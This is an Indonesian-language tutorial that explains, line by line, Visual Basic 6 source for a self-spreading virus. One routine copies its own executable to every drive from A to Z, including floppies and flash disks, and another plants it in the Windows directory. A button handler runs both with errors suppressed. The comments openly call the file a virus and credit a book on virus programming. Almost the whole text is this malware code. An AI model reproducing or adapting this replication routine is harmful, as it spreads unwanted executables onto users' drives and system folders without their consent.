Penjelasan Kode II

Private Sub kodepengganda()

//Deklarasi fungsi kode pengganda.

''///mengecek drive dan mengcopy  file penanda
     Dim ictr As Integer

//Deklarasi variabel ictr dengan tipe integer.

     Dim  sDrive As String

//Deklarasi variabel sDrive dengan tipe string.

     Dim x  As Byte

//Deklarasi variabel x dengan tipe Byte.

     ReDim  sDrives (0) As String

//Deklarasi variabel sDrive dengan tipe string dan jenisnya array,karena ada”(0)” setelah sDrives.

For ictr  =  65 To 90

//Untuk variabel ictr yang bernilai 65 sampai 90,kerjakan perintah dibawahnya,angka 65 dan

  90 merupakan ascii dari huruf “a” dan “z”, berguna untuk mencari drive,karena dalm 

   windows  drive dilambangkan dengan abjaad.

      sDrive = Chr (ictr) & ":\"

//Memberi niali  variabel sDrive dengan Chr(ictr) dan karaakter “:\”,Misalnya ictr bernilai 65 maka ictr akan dikonversi ke string “a” sesuai dengan nilainya dan digabungkan dengan karakter “:\” sehingga menjadi “a:\”,

           If DriveType (sDrive) <> "Drive Doesn’t  Exist"  Then

//Jika Tipe drive bernilai tidak sama dengan “Drive Doesn’t Exist” maka kerjakan perintah dibawahnya.Drive Doesn’t  Exist  maksudnyaa drive tidak dikenali.

         On Error Resume Next

//Tetap menjalankan perintah sesudah kode dibawahnya walaupun perintah tersebut salah .

       FileCopy App.path & "\" & App.EXEName & ".exe",sDrive & "tes.exe"

//Mengcopy atau menyebarkan file virus ke drive tujuan,floppy disk,flashdisk ataupun hardisk.

           End If

//Mengakhiri perintaf if.

Next

//Kembali ke perintah for sampai nilai variabel ictr samadengan 90.

End Sub
//Akhiri dari sub program.

      Private Sub kopikewindows()

//Sub program dengan nama kopikewindows  dengan type private.

        ''/// /mengcopy file virus atau penanda ke directory windows
        Dim buffer As  String * 255

//Deklarasi variabel buffer dengan type data string yang diisi dengan nilai 255.

        Dim  x As Long

//Deklarasi variabel x dengan type long.

   x = GetWindowsDirectory(buffer,255)

//Memberi nilai variabel x dengan nilai hasil dari operasi fungsi GetWindowsDirectory.

   On Error Resume Next

//Perintah untuk melanjutkan operasi jika terjadi kesalahan.

FileCopy App.Path & "\" & App.EXEName & ".exe",Left(buffer,x) &_
"\tes_di_directory_windows.exe"

//Mengcopy program virus ke directory dimana windows diinstal.

   End Sub
//Akhir dari sub program kopikewindows.

 
   Private Sub Commond5_Clik()

//Deklarasi button commond5,event akan jalan jika tombol/klik  button.

   Kopikewindows

//Memanggil sub program kopikewindows.

   Kodepengganda

//Memanggil sub program kedepengganda.

   MsgBox "Kode Berhasil Dijalankan",0, "Berhasil"

//Memunculkan kotak pesan “Kode Berhasil Dijalankan”.

End Sub

//  Akhir dari sub program commond5_Clik
referensi:Aat Sadewa,seni pemrograman virus menggunakan visual basic,virologi.info,Yogyakarta